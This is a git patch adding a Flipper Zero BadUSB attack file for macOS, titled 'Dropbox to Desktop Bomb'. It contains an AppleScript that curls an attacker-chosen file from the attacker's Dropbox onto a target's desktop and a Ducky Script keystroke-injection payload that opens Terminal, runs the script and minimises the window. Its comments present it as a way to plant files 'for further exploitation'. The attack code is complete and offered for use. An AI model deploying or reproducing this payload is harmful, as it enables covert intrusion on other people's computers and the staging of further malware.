From 6ae5689336aaca7b844124f8192e8a88e2c12d40 Mon Sep 17 00:00:00 2001 From: Narsty Date: Tue, 23 May 2023 23:01:16 -0500 Subject: [PATCH] Create Dropbox to Desktop Bomb --- Executions/Dropbox to Desktop Bomb | 44 ++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 Executions/Dropbox to Desktop Bomb diff --git a/Executions/Dropbox to Desktop Bomb b/Executions/Dropbox to Desktop Bomb new file mode 100644 index 0000000..f26d6a5 --- /dev/null +++ b/Executions/Dropbox to Desktop Bomb @@ -0,0 +1,44 @@ +REM This script can be used to download files from dropbox to a target MacOs Desktop. +REM files downloaded to the desktop can be used to trigger more complex scripts for further exploitation + + + +REM Copy and paste the osascript/code (lines 15-24) into the Script editor App on your MacOs +REM Replace the "Your API Access token Here" placeholder with your actual Dropbox API token. line 13 +REM Replace the "File Name" placeholder with the name of the file you intend to download from dropbox +REM Replace the "Dropbox File Path" placeholder with the path of the file you want to download from Dropbox +REM Save this script below as a Droptod.scpt file (Use Script Editor) to your/your targets desktop. + + + + +-- Dropbox API settings +set ACCESS_TOKEN to "Your API Access token Here" +set FILE_PATH to "Dropbox File Path" +set SAVE_PATH to POSIX path of (path to desktop folder) & "File Name" + +-- Download file from Dropbox +do shell script "curl -X POST https://content.dropboxapi.com/2/files/download " & ¬ + "--header \"Authorization: Bearer " & ACCESS_TOKEN & "\" " & ¬ + "--header \"Dropbox-API-Arg: {\\\"path\\\": \\\"" & FILE_PATH & "\\\"}\" " & ¬ + "--output \"" & SAVE_PATH & "\"" + + + +REM Final step is to save the below Ducky Script as a .txt file lines 31-44 (main Read.me has step by step directions) +REM and put the .txt file on your BADUSB flipper zero APP to execute the osascript through the terminal. + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 1000 +STRING cd ~/Desktop +ENTER +DELAY 500 +STRING osascript Droptod.scpt +ENTER +DELAY 200 +GUI m